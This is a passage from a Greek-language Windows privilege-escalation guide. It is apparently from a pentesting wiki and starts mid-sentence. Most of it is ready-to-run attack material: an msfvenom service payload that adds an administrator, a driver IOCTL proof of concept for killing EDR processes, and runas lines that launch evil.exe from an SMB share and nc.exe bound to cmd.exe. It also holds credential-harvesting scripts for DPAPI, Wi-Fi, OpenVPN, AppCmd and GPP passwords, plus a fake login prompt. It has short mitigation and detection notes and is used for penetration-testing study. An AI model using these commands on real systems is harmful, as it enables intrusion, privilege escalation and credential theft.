εκτελέσουν: ```bash C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` Καταγράψτε όλες τις μη-περιεχόμενες σε εισαγωγικά διαδρομές υπηρεσιών, εξαιρώντας αυτές που ανήκουν σε ενσωματωμένες υπηρεσίες των Windows: ```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services # Using PowerUp.ps1 Get-ServiceUnquoted -Verbose ``` ```bash for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do ( for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do ( echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo. ) ) ``` ```bash gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` **Μπορείτε να εντοπίσετε και να εκμεταλλευτείτε** αυτή την ευπάθεια με το metasploit: `exploit/windows/local/trusted\_service\_path` Μπορείτε να δημιουργήσετε χειροκίνητα ένα service binary με το metasploit: ```bash msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe ``` ### Ενέργειες ανάκτησης Windows επιτρέπει στους χρήστες να καθορίζουν ενέργειες που πρέπει να εκτελεστούν εάν μια υπηρεσία αποτύχει. Αυτή η δυνατότητα μπορεί να ρυθμιστεί ώστε να δείχνει σε ένα binary. Εάν αυτό το binary είναι αντικαταστάσιμο, ενδέχεται να είναι δυνατή η privilege escalation. Περισσότερες λεπτομέρειες μπορείτε να βρείτε στην [επίσημη τεκμηρίωση](). ## Εφαρμογές ### Εγκατεστημένες Εφαρμογές Ελέγξτε τα **δικαιώματα των binaries** (ίσως μπορείτε να αντικαταστήσετε κάποιο και να escalate privileges) και των **φακέλων** ([DLL Hijacking](dll-hijacking/index.html)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" reg query HKEY_LOCAL_MACHINE\SOFTWARE Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` ### Write Permissions Ελέγξτε αν μπορείτε να τροποποιήσετε κάποιο config file για να διαβάσετε κάποιο ειδικό αρχείο ή αν μπορείτε να τροποποιήσετε κάποιο binary που πρόκειται να εκτελεστεί από λογαριασμό Administrator (schedtasks). Ένας τρόπος να βρείτε αδύναμα δικαιώματα φακέλων/αρχείων στο σύστημα είναι να κάνετε: ```bash accesschk.exe /accepteula # Find all weak folder permissions per drive. accesschk.exe -uwdqs Users c:\ accesschk.exe -uwdqs "Authenticated Users" c:\ accesschk.exe -uwdqs "Everyone" c:\ # Find all weak file permissions per drive. accesschk.exe -uwqs Users c:\*.* accesschk.exe -uwqs "Authenticated Users" c:\*.* accesschk.exe -uwdqs "Everyone" c:\*.* ``` ```bash icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%" icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%" ``` ```bash Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}} Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}} ``` ### Εκτέλεση κατά την εκκίνηση **Ελέγξτε αν μπορείτε να αντικαταστήσετε κάποιο registry ή binary που θα εκτελεστεί από διαφορετικό χρήστη.**\ **Διαβάστε** την **παρακάτω σελίδα** για να μάθετε περισσότερα για ενδιαφέροντα **autoruns locations to escalate privileges**: {{#ref}} privilege-escalation-with-autorun-binaries.md {{#endref}} ### Drivers Αναζητήστε πιθανούς **third party weird/vulnerable** drivers ```bash driverquery driverquery.exe /fo table driverquery /SI ``` If a driver exposes an arbitrary kernel read/write primitive (common in poorly designed IOCTL handlers), you can escalate by stealing a SYSTEM token directly from kernel memory. See the step‑by‑step technique here: {{#ref}} arbitrary-kernel-rw-token-theft.md {{#endref}} #### Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill) Κάποιοι signed third‑party drivers δημιουργούν το device object τους με ισχυρό SDDL μέσω IoCreateDeviceSecure αλλά ξεχνούν να ορίσουν FILE_DEVICE_SECURE_OPEN στα DeviceCharacteristics. Χωρίς αυτή τη σημαία, το secure DACL δεν εφαρμόζεται όταν η συσκευή ανοίγεται μέσω ενός path που περιέχει ένα επιπλέον component, επιτρέποντας σε οποιονδήποτε μη προνομιακό χρήστη να λάβει ένα handle χρησιμοποιώντας ένα namespace path όπως: - \\ .\\DeviceName\\anything - \\ .\\amsdk\\anyfile (from a real-world case) Μόλις ένας χρήστης μπορεί να ανοίξει τη συσκευή, privileged IOCTLs που εκτίθενται από τον driver μπορούν να καταχρηστούν για LPE και tampering. Παραδείγματα δυνατοτήτων που παρατηρήθηκαν στο wild: - Επιστροφή handles με πλήρη πρόσβαση σε arbitrary processes (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser). - Απεριόριστο raw disk read/write (offline tampering, boot-time persistence tricks). - Τερματισμός arbitrary processes, συμπεριλαμβανομένων Protected Process/Light (PP/PPL), επιτρέποντας AV/EDR kill από user land μέσω kernel. Minimal PoC pattern (user mode): ```c // Example based on a vulnerable antimalware driver #define IOCTL_REGISTER_PROCESS 0x80002010 #define IOCTL_TERMINATE_PROCESS 0x80002048 HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0); DWORD me = GetCurrentProcessId(); DWORD target = /* PID to kill or open */; DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0); DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0); ``` Μέτρα μετριασμού για προγραμματιστές - Ορίστε πάντα FILE_DEVICE_SECURE_OPEN όταν δημιουργείτε device objects που προορίζονται να περιοριστούν από μια DACL. - Επαληθεύστε το caller context για privileged operations. Προσθέστε ελέγχους PP/PPL πριν επιτρέψετε process termination ή handle returns. - Περιορίστε τα IOCTLs (access masks, METHOD_*, input validation) και εξετάστε brokered models αντί για άμεσα kernel privileges. Ιδέες ανίχνευσης για αμυντές - Παρακολουθήστε τα user-mode opens για ύποπτα device names (π.χ., \\ .\\amsdk*) και συγκεκριμένες IOCTL ακολουθίες που υποδηλώνουν κατάχρηση. - Επιβάλετε το vulnerable driver blocklist της Microsoft (HVCI/WDAC/Smart App Control) και διατηρήστε δικές σας λίστες επιτρεπόμενων/αποκλεισμένων. ## PATH DLL Hijacking Εάν έχετε **δικαιώματα εγγραφής σε φάκελο που βρίσκεται στο PATH** μπορεί να είστε σε θέση να hijack μια DLL που φορτώνεται από μια process και να **αναβαθμίσετε τα προνόμια**. Ελέγξτε τα δικαιώματα όλων των φακέλων μέσα στο PATH: ```bash for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` Για περισσότερες πληροφορίες σχετικά με το πώς να εκμεταλλευτείτε αυτόν τον έλεγχο: {{#ref}} dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md {{#endref}} ## Δίκτυο ### Κοινόχρηστοι πόροι ```bash net view #Get a list of computers net view /all /domain [domainname] #Shares on the domains net view \\computer /ALL #List shares of a computer net use x: \\computer\share #Mount the share locally net share #Check current shares ``` ### αρχείο hosts Ελέγξτε για άλλους γνωστούς υπολογιστές που έχουν οριστεί χειροκίνητα στο αρχείο hosts ``` type C:\Windows\System32\drivers\etc\hosts ``` ### Διεπαφές Δικτύου & DNS ``` ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` ### Open Ports Ελέγξτε για **περιορισμένες υπηρεσίες** από το εξωτερικό ```bash netstat -ano #Opened ports? ``` ### Πίνακας Δρομολόγησης ``` route print Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex ``` ### Πίνακας ARP ``` arp -A Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` ### Κανόνες Firewall [**Check this page for Firewall related commands**](../basic-cmd-for-pentesters.md#firewall) **(εμφάνιση κανόνων, δημιουργία κανόνων, απενεργοποίηση, απενεργοποίηση...)** Περισσότερα[ commands for network enumeration here](../basic-cmd-for-pentesters.md#network) ### Windows Subsystem for Linux (wsl) ```bash C:\Windows\System32\bash.exe C:\Windows\System32\wsl.exe ``` Το δυαδικό `bash.exe` μπορεί επίσης να βρεθεί στο `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` Αν αποκτήσετε δικαιώματα root, μπορείτε να ακούτε σε οποιαδήποτε θύρα (την πρώτη φορά που θα χρησιμοποιήσετε το `nc.exe` για να ακούσετε σε μια θύρα, θα ζητήσει μέσω GUI αν το `nc` πρέπει να επιτραπεί από το firewall). ```bash wsl whoami ./ubuntun1604.exe config --default-user root wsl whoami wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` Για να ξεκινήσετε εύκολα bash ως root, μπορείτε να δοκιμάσετε `--default-user root` Μπορείτε να εξερευνήσετε το σύστημα αρχείων του `WSL` στον φάκελο `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` ## Windows Διαπιστευτήρια ### Winlogon Διαπιστευτήρια ```bash reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername" #Other way reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword ``` ### Διαχειριστής διαπιστευτηρίων / Windows vault From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ Το Windows Vault αποθηκεύει τα credentials των χρηστών για servers, websites και άλλα προγράμματα στα οποία το **Windows** μπορεί να πραγματοποιεί αυτόματη σύνδεση των χρηστών. Σε πρώτη ανάγνωση, αυτό μπορεί να φαίνεται ότι οι χρήστες μπορούν να αποθηκεύουν τα Facebook credentials, Twitter credentials, Gmail credentials κ.λπ., ώστε να πραγματοποιούν αυτόματη είσοδο μέσω των browsers. Ωστόσο, δεν είναι έτσι. Το Windows Vault αποθηκεύει credentials που το **Windows** μπορεί να χρησιμοποιήσει για να συνδέει τους χρήστες αυτόματα, πράγμα που σημαίνει ότι οποιαδήποτε εφαρμογή Windows που χρειάζεται credentials για να έχει πρόσβαση σε έναν πόρο (server ή website) μπορεί να αξιοποιήσει αυτόν τον Credential Manager & Windows Vault και να χρησιμοποιήσει τα παρεχόμενα credentials αντί οι χρήστες να εισάγουν συνέχεια username και password. Εκτός αν οι εφαρμογές αλληλεπιδρούν με τον Credential Manager, δεν νομίζω ότι είναι δυνατόν να χρησιμοποιήσουν τα credentials για έναν συγκεκριμένο πόρο. Επομένως, αν η εφαρμογή σας θέλει να χρησιμοποιήσει το vault, θα πρέπει με κάποιο τρόπο να **επικοινωνεί με τον credential manager και να ζητάει τα credentials για αυτόν τον πόρο** από το προεπιλεγμένο storage vault. Use the `cmdkey` to list the stored credentials on the machine. ```bash cmdkey /list Currently stored credentials: Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` Στη συνέχεια μπορείτε να χρησιμοποιήσετε `runas` με την επιλογή `/savecred` για να χρησιμοποιήσετε τα αποθηκευμένα credentials. Το παρακάτω παράδειγμα καλεί ένα απομακρυσμένο binary μέσω ενός SMB share. ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` Χρήση του `runas` με ένα παρεχόμενο σύνολο credential. ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` Σημειώστε ότι mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), ή από [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). ### DPAPI Η **Data Protection API (DPAPI)** παρέχει μια μέθοδο για συμμετρική κρυπτογράφηση δεδομένων, που χρησιμοποιείται κυρίως μέσα στο λειτουργικό σύστημα Windows για τη συμμετρική κρυπτογράφηση των ασύμμετρων ιδιωτικών κλειδιών. Αυτή η κρυπτογράφηση αξιοποιεί ένα μυστικό χρήστη ή συστήματος για να συνεισφέρει σημαντικά στην εντροπία. **Το DPAPI επιτρέπει την κρυπτογράφηση κλειδιών μέσω ενός συμμετρικού κλειδιού που προέρχεται από τα μυστικά σύνδεσης του χρήστη**. Σε σενάρια που αφορούν συστημική κρυπτογράφηση, αξιοποιεί τα μυστικά αυθεντικοποίησης domain του συστήματος. Τα κρυπτογραφημένα RSA κλειδιά χρήστη, χρησιμοποιώντας το DPAPI, αποθηκεύονται στον κατάλογο %APPDATA%\Microsoft\Protect\{SID}, όπου {SID} αντιπροσωπεύει το χρήστη [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier). **Το DPAPI key, συνυφασμένο με το master key που προστατεύει τα ιδιωτικά κλειδιά του χρήστη στο ίδιο αρχείο**, συνήθως αποτελείται από 64 bytes τυχαίων δεδομένων. (Είναι σημαντικό να σημειωθεί ότι η πρόσβαση σε αυτόν τον κατάλογο είναι περιορισμένη, αποτρέποντας την εμφάνιση του περιεχομένου του μέσω της εντολής `dir` στο CMD, αν και μπορεί να εμφανιστεί μέσω του PowerShell). ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` Μπορείτε να χρησιμοποιήσετε το **mimikatz module** `dpapi::masterkey` με τις κατάλληλες παραμέτρους (`/pvk` or `/rpc`) για να το αποκρυπτογραφήσετε. Οι **credentials files protected by the master password** βρίσκονται συνήθως στο: ```bash dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` Μπορείτε να χρησιμοποιήσετε το **mimikatz module** `dpapi::cred` με το κατάλληλο `/masterkey` για να decrypt.\ Μπορείτε να **extract many DPAPI** **masterkeys** από τη **memory** με το `sekurlsa::dpapi` module (αν είστε root). {{#ref}} dpapi-extracting-passwords.md {{#endref}} ### PowerShell Διαπιστευτήρια Τα **PowerShell credentials** χρησιμοποιούνται συχνά για **scripting** και εργασίες αυτοματισμού ως τρόπος αποθήκευσης κρυπτογραφημένων credentials με ευκολία. Τα credentials προστατεύονται χρησιμοποιώντας **DPAPI**, που συνήθως σημαίνει ότι μπορούν να αποκρυπτογραφηθούν μόνο από τον ίδιο χρήστη στον ίδιο υπολογιστή όπου δημιουργήθηκαν. Για να **decrypt** ένα PS credentials από το αρχείο που το περιέχει μπορείτε να κάνετε: ```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username john PS C:\htb> $credential.GetNetworkCredential().password JustAPWD! ``` ### Wifi ```bash #List saved Wifi using netsh wlan show profile #To get the clear-text password use netsh wlan show profile key=clear #Oneliner to extract all wifi passwords cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on* ``` ### Αποθηκευμένες Συνδέσεις RDP Μπορείτε να τις βρείτε στο `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ και στο `HKCU\Software\Microsoft\Terminal Server Client\Servers\` ### Πρόσφατα Εκτελεσμένες Εντολές ``` HCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ``` ### **Διαχειριστής Διαπιστευτηρίων Απομακρυσμένης Επιφάνειας Εργασίας** ``` %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` Χρησιμοποιήστε το **Mimikatz** `dpapi::rdg` module με το κατάλληλο `/masterkey` για να **αποκρυπτογραφήσετε οποιαδήποτε αρχεία .rdg**\ Μπορείτε να **εξάγετε πολλά DPAPI masterkeys** από τη μνήμη με το **Mimikatz** `sekurlsa::dpapi` module ### Sticky Notes People often use the StickyNotes app on Windows workstations to **save passwords** and other information, not realizing it is a database file. This file is located at `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` and is always worth searching for and examining. ### AppCmd.exe **Σημειώστε ότι για να ανακτήσετε κωδικούς από AppCmd.exe χρειάζεται να είστε Administrator και να τρέξετε σε επίπεδο High Integrity.**\ **AppCmd.exe** βρίσκεται στον `%systemroot%\system32\inetsrv\` directory.\ If this file exists then it is possible that some **credentials** have been configured and can be **recovered**. This code was extracted from [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): ```bash function Get-ApplicationHost { $OrigError = $ErrorActionPreference $ErrorActionPreference = "SilentlyContinue" # Check if appcmd.exe exists if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) { # Create data table to house results $DataTable = New-Object System.Data.DataTable # Create and name columns in the data table $Null = $DataTable.Columns.Add("user") $Null = $DataTable.Columns.Add("pass") $Null = $DataTable.Columns.Add("type") $Null = $DataTable.Columns.Add("vdir") $Null = $DataTable.Columns.Add("apppool") # Get list of application pools Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object { # Get application pool name $PoolName = $_ # Get username $PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username" $PoolUser = Invoke-Expression $PoolUserCmd # Get password $PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password" $PoolPassword = Invoke-Expression $PoolPasswordCmd # Check if credentials exists if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) { # Add credentials to database $Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName) } } # Get list of virtual directories Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object { # Get Virtual Directory Name $VdirName = $_ # Get username $VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName" $VdirUser = Invoke-Expression $VdirUserCmd # Get password $VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password" $VdirPassword = Invoke-Expression $VdirPasswordCmd # Check if credentials exists if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) { # Add credentials to database $Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA') } } # Check if any passwords were found if( $DataTable.rows.Count -gt 0 ) { # Display results in list view that can feed into the pipeline $DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique } else { # Status user Write-Verbose 'No application pool or virtual directory passwords were found.' $False } } else { Write-Verbose 'Appcmd.exe does not exist in the default location.' $False } $ErrorActionPreference = $OrigError } ``` ### SCClient / SCCM Ελέγξτε αν `C:\Windows\CCM\SCClient.exe` υπάρχει .\ Οι installers **εκτελούνται με προνόμια SYSTEM**, πολλοί είναι ευάλωτοι σε **DLL Sideloading (Πληροφορίες από** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } else { Write "Not Installed." } ``` ## Αρχεία και Μητρώο (Credentials) ### Putty Creds ```bash reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there ``` ### Putty SSH κλειδιά οικοδεσπότη ``` reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` ### SSH κλειδιά στο μητρώο Ιδιωτικά SSH κλειδιά μπορούν να αποθηκευτούν μέσα στο κλειδί μητρώου `HKCU\Software\OpenSSH\Agent\Keys`, οπότε θα πρέπει να ελέγξετε αν υπάρχει κάτι ενδιαφέρον εκεί: ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` Αν βρείτε οποιαδήποτε εγγραφή μέσα σε αυτή τη διαδρομή, πιθανότατα θα είναι αποθηκευμένο SSH key. Αποθηκεύεται κρυπτογραφημένο αλλά μπορεί εύκολα να αποκρυπτογραφηθεί χρησιμοποιώντας [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ Περισσότερες πληροφορίες για αυτή την τεχνική εδώ: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) Αν η υπηρεσία `ssh-agent` δεν εκτελείται και θέλετε να ξεκινάει αυτόματα κατά την εκκίνηση, εκτελέστε: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!TIP] > Φαίνεται ότι αυτή η τεχνική δεν ισχύει πλέον. Προσπάθησα να δημιουργήσω κάποια ssh keys, να τα προσθέσω με `ssh-add` και να συνδεθώ μέσω ssh σε μια μηχανή. Το registry HKCU\Software\OpenSSH\Agent\Keys δεν υπάρχει και το procmon δεν εντόπισε τη χρήση της `dpapi.dll` κατά την ασύμμετρη πιστοποίηση κλειδιού. ### Αρχεία χωρίς επίβλεψη ``` C:\Windows\sysprep\sysprep.xml C:\Windows\sysprep\sysprep.inf C:\Windows\sysprep.inf C:\Windows\Panther\Unattended.xml C:\Windows\Panther\Unattend.xml C:\Windows\Panther\Unattend\Unattend.xml C:\Windows\Panther\Unattend\Unattended.xml C:\Windows\System32\Sysprep\unattend.xml C:\Windows\System32\Sysprep\unattended.xml C:\unattend.txt C:\unattend.inf dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul ``` Μπορείτε επίσης να αναζητήσετε αυτά τα αρχεία χρησιμοποιώντας **metasploit**: _post/windows/gather/enum_unattend_ Παράδειγμα περιεχομένου: ```xml U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo== true Administrateur *SENSITIVE*DATA*DELETED* administrators;users Administrateur ``` ### SAM & SYSTEM αντίγραφα ασφαλείας ```bash # Usually %SYSTEMROOT% = C:\Windows %SYSTEMROOT%\repair\SAM %SYSTEMROOT%\System32\config\RegBack\SAM %SYSTEMROOT%\System32\config\SAM %SYSTEMROOT%\repair\system %SYSTEMROOT%\System32\config\SYSTEM %SYSTEMROOT%\System32\config\RegBack\system ``` ### Cloud Διαπιστευτήρια ```bash #From user home .aws\credentials AppData\Roaming\gcloud\credentials.db AppData\Roaming\gcloud\legacy_credentials AppData\Roaming\gcloud\access_tokens.db .azure\accessTokens.json .azure\azureProfile.json ``` ### McAfee SiteList.xml Αναζητήστε ένα αρχείο με όνομα **SiteList.xml** ### Cached GPP Pasword Υπήρχε προηγουμένως μια λειτουργία που επέτρεπε την ανάπτυξη προσαρμοσμένων τοπικών λογαριασμών administrator σε μια ομάδα μηχανημάτων μέσω των Group Policy Preferences (GPP). Ωστόσο, αυτή η μέθοδος είχε σημαντικές αδυναμίες ασφαλείας. Πρώτον, τα Group Policy Objects (GPOs), αποθηκευμένα ως αρχεία XML στο SYSVOL, μπορούσαν να προσπελαστούν από οποιονδήποτε χρήστη του domain. Δεύτερον, οι κωδικοί μέσα σε αυτά τα GPPs, κρυπτογραφημένοι με AES256 χρησιμοποιώντας ένα δημόσια τεκμηριωμένο default key, μπορούσαν να αποκρυπτογραφηθούν από οποιονδήποτε authenticated user. Αυτό αποτελούσε σοβαρό κίνδυνο, καθώς θα μπορούσε να επιτρέψει σε χρήστες να αποκτήσουν αυξημένα προνόμια. Για να μετριαστεί αυτός ο κίνδυνος, αναπτύχθηκε μια συνάρτηση που σαρώνει για τοπικά cached αρχεία GPP που περιέχουν ένα πεδίο "cpassword" που δεν είναι κενό. Όταν βρει τέτοιο αρχείο, η συνάρτηση αποκρυπτογραφεί τον κωδικό και επιστρέφει ένα custom PowerShell object. Αυτό το αντικείμενο περιλαμβάνει λεπτομέρειες για το GPP και την τοποθεσία του αρχείου, βοηθώντας στην ταυτοποίηση και την αποκατάσταση αυτής της ευπάθειας ασφαλείας. Αναζητήστε στο `C:\ProgramData\Microsoft\Group Policy\history` ή στο _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (previous to W Vista)_ για αυτά τα αρχεία: - Groups.xml - Services.xml - Scheduledtasks.xml - DataSources.xml - Printers.xml - Drives.xml **Για να αποκρυπτογραφήσετε το cPassword:** ```bash #To decrypt these passwords you can decrypt it using gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw ``` Χρήση του crackmapexec για να αποκτήσετε τους κωδικούς: ```bash crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin ``` ### IIS Web Config ```bash Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config C:\inetpub\wwwroot\web.config ``` ```bash Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` Παράδειγμα web.config με διαπιστευτήρια: ```xml ``` ### OpenVPN διαπιστευτήρια ```csharp Add-Type -AssemblyName System.Security $keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs" $items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath} foreach ($item in $items) { $encryptedbytes=$item.'auth-data' $entropy=$item.'entropy' $entropy=$entropy[0..(($entropy.Length)-2)] $decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect( $encryptedBytes, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes)) } ``` ### Καταγραφές ```bash # IIS C:\inetpub\logs\LogFiles\* #Apache Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue ``` ### Ζητήστε credentials Μπορείτε πάντα **να ζητήσετε από τον user να εισάγει τα credentials του ή ακόμα και τα credentials ενός διαφορετικού user** αν νομίζετε ότι μπορεί να τα γνωρίζει (σημειώστε ότι **να ζητήσετε** από τον client απευθείας τα **credentials** είναι πραγματικά **επικίνδυνο**): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password #Get plaintext $cred.GetNetworkCredential() | fl ``` ### **Πιθανά ονόματα αρχείων που περιέχουν credentials** Γνωστά αρχεία που κάποτε περιείχαν **passwords** σε **clear-text** ή **Base64** ```bash $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history vnc.ini, ultravnc.ini, *vnc* web.config php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP) SiteList.xml #McAfee ConsoleHost_history.txt #PS-History *.gpg *.pgp *config*.php elasticsearch.y*ml kibana.y*ml *.p12 *.der *.csr *.cer known_hosts id_rsa id_dsa *.ovpn anaconda-ks.cfg hostapd.conf rsyncd.conf cesi.conf supervisord.conf tomcat-users.xml *.kdbx KeePass.config Ntds.dit SAM SYSTEM 